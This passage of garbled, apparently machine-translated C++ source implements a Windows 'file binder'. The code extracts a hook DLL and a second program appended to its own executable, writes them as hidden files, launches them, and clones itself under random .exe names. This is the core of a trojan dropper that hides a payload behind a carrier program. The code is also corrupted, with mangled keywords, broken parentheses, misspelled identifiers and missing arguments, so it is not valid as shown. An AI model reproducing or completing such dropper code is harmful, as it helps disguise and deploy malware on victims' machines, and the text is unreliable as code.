3. Unbind_and_run () // Decomposing the merged file, running them Bool cbindfile :: unbind_and_run () {handle hfileout = null; // Store Decomposition Download BYTESIN = 0; // A number of data reads DWORD BYTESOUT = 0; // Write data number DWORD TOTALBYTES = 0; // After reading, the remaining reading number cString Temp_dll = strunbindFilePath_dll; // Decomposed DLL file name CSTRING TEMP_SEC; / / Decomposition Ding file name DWORD prog_length = 0; // Bind file length unsigned int i = 0; // Position file pointer to the long tail IF of the bundle program (SETFILEMYSELF, (long) modify_data.my_length, null, file_begin) ! = modify_data.my_length) {// Location file pointer error messagebox (null, "file decomposition, positioning file pointer error!", null, null;} // Read the first binding file length IF (0 == Readfile (HFileMyself, & Prog_length, SizeOf (Prog_length), & Bytesin, NULL) {// MessageBox (NULL, "in the separation file, error when reading the first binding file length!", "Error ", MB_OK); RETURN FALSE;} // Read file extension IF (0 == Readfile (HFileMyself, M_ext, 3, & Bytesin, NULL)) {MessageBox (NULL," in the separation file, read the first Binding file extension Error! "," Error ", MB_OK; return false;} // see if the file already exists, there is no need to decompose.
hFileOut = CreateFile (temp_Dll, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL); if (! INVALID_HANDLE_VALUE = hFileOut) {// file pointer is moved forward directly to the length of the file size SetFilePointer (hFileMyself, prog_length, NULL, FILE_CURRENT );} else {// create a file first decomposed, i.e. HOOK.DLL hFileOut = CreateFile (temp_Dll, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {MessageBox (NULL , "in a separate file, the first error creating a bound document!", "error", MB_OK); return false;} // read the data written to the first prog_length length and contents of a file totalbytes = prog_length; DO {if (Totalbytes <= BUF_SIZE) {// Last read IF (0 == Readfile (HfileMyself, BUF, TOTALBYTES, & BYTESIN, NUF) {CloseHandle (Hfileout); MessageBox (NULL, "Separation file, read Take the first one to be bound to the content! ", Null, null; return false;}} else {if (0 == Readfile (HFILEMYSELF, BUF, BUF_SIZE, & BYTESIN, NULL) {CloseHandle (HFileout); MessageBox (NULL, "in the Issue, read the first bound file content!" NULL, NULL); RETURN FALSE }} // Write read data IF (0 == Writefile (Hfileout, BYTESIN, & BYTESOUT, NULL)) {CloseHandle (HFileout); MessageBox (NULL, "Decomposition file, write the first file Error! ", Null, null; return false;} // minus the number of reads until reading TOTALBYTES - = Bytesin;} while (0! = TotalBytes); prog_length = 0; zeromeMore (m_ext, SIZEOF (M_ext)); CloseHandle (Hfileout); // Read the length IF of the second binding file (0 ==
Readfile (HFileMyself, & prop_length, size) {MessageBox (NULL) {MessageBox (NULL, ", reading the second binding file length fails when reading the second binding file!", "Error", MB_OK; RETURN FALSE } // Read file extension IF (0 == Readfile (HFileMyself, M_EXT, 3, & BYTESOUT, NULL)) {MessageBox (NULL, "in the separation file, read the second binding file execution flag error ! "," Error ", MB_OK; RETURN FALSE;} // Determine the second decomposition file name temp_sec.format ("% sqicq.% S ", szmyfilepath, m_ext); strunbindfilepath_sec = TEMP_SEC; MessageBox (NULL, temp_Sec, NULL, NULL); // Create a second binding file hFileOut = CreateFile (temp_Sec, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {MessageBox (NULL, "isolated In the file, the second binding file is created! "," Error ", MB_OK; Return False;} TotalBytes = Prog_length; Do {IF (Totalbytes <= BUF_SIZE) {IF (0 == Readfile (HfileMyself, BUF, TOTALBYTES, & BYTESIN, NULL) {CloseHandle (Hfileout); MessageBox (NULL, "in the separation file, reading the first binding file content fails!" NULL, NULL); return false;}} else {if (0 == readfile (HFileMyseelf, BUF, BUF_SIZE, & BYTESIN , NULL) {CloseHandle (HFILEOUT); MessageBox (NULL, "in the separation file, error when reading the second binding file!", Null, null; return false;}} f (0 == Writefile (Hfileout, BUF, BYTESIN, & BYTESOUT, NULL) {CloseHandle (Hfileout); MessageBox (NULL, "Decomposition file, error when writing the second file content!", null, null; return false;} Totalbytes - = Bytesin;} while (0! = Totalbytes);
CloseHandle (Hfileout); MessageBox (NULL, TEMP_SEC, "Print", null); // Run Decompose target file Create_Process (TEMP_SEC, TRUE); return true;} 4.cloneMyself_and_run () / Decompose the original binding file The DLL file is made as a new file content and the server is the same, // Decomposes the bound file, runs them Bool cbindfile :: clonemyself_and_run () {handout = null; dword Bytesin = 0; // Read the byte Number DWORD BYTESOUT = 0; // Write bytes DWORD TOTALBYTES = 0; // The number of remaining reads after reading DWORD prog_length = 0; // file size CString Temp_fst; // Decompose The first file name CString Temp_sec; // Decomposed second file name // randomly generate a file name TEMP_FST.FORMAT ("% s% 06d.exe", szmyfilepath, rand ()); MessageBox (NULL, temp_Fst, NULL, NULL); // build file to be written hFileOut = CreateFile (temp_Fst, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {// build the target file Error MessageBox (NULL, "clone file, create the first file failed!", Null, null; return false;} setfi lePointer (hFileMyself, 0, NULL, FILE_BEGIN); totalbytes = modify_data.my_length; do {if (totalbytes <= BUF_SIZE) {ReadFile (hFileMyself, buf, totalbytes, & bytesin, NULL);} else {ReadFile (hFileMyself, buf, BUF_SIZE , & bytesin, null;} Writefile (Hfileout, BYtesin, & Bytesout, null); Totalbytes - = bytesin;} while (0! = TotalBytes); / / The length of the DLL and the run flag IF (0 == Readfile (HFileMyself, & prop_length, sizeof) {// Read DLL file length error MessageBox (NULL, "Clone self file, read DLL file length error!", Null, null; CloseHandle (hfileout); return false;} if (0 =
= Writefile (Hfileout, & PROG_LENGTH, SIZEOF (PROG_LENGTH), & BYTESOUT, NULL) {// Write DLL File Length Error MessageBox (Null, "Cloning in its own file, write DLL file length error!", Null, null; CloseHandle (hFileOut); return false;} totalbytes = prog_length 3; do {if (totalbytes <= bUF_SIZE) {ReadFile (hFileMyself, buf, totalbytes, & bytesin, NULL);} else {ReadFile (hFileMyself, buf, bUF_SIZE, & bytesin , NULL);} Writefile (Hfileout, Bytesin, & Bytesout, null); Totalbytes - = bytesin;} while (0! = TotalBytes); CloseHandle (HFileout); // Run the file and wait for the file to run, delete temporary files PROCESS_INFORMATION PI; STARTUPINFO SI; ZeroMemory (& SI, sizeof (SI)); SI.cb = sizeof (SI); ZeroMemory (& PI, sizeof (PI)); if (Create_Process (temp_Fst, true)) {GetRunFileProcessInfo (PI); // run after the decomposition delete temporary files WaitForSingleObject (PI.hProcess, INFINITE); DWORD dwExitCode; GetExitCodeProcess (PI.hProcess, & dwExitCode); CloseHandle (PI.hThread); CloseHandle (PI.hProcess); } Deletefile (TEMP_FST); // Decompose the second file and run PROG_LENGTH = 0; zeromeMory (& m_ext, sizeof (m_ext)); // Read the length IF of the second binding file (0 == Readfile (HfileMyself, & Prog_length, Sizeof (PROG_LENGTH), & BYTESIN , NULL)) {MessageBox (NULL, "in the separation file, error when reading the second binding file!", "Error", MB_OK; RETURN FALSE;} // Read file extension IF (0 == Readfile (HFileMyself, M_EXT, 3, & BYTESOUT, NULL)) {MessageBox (NULL, "Separation file, reading the second binding file execution flag When the flag is executed!", "Error", MB_OK; Return False } // Determine the second decomposition of the file name temp_sec.format ("% s% 06d.% S", szmyfilepath, rand (), m_ext); MessageBox (NULL, TEMP_SEC, NULL, NULL);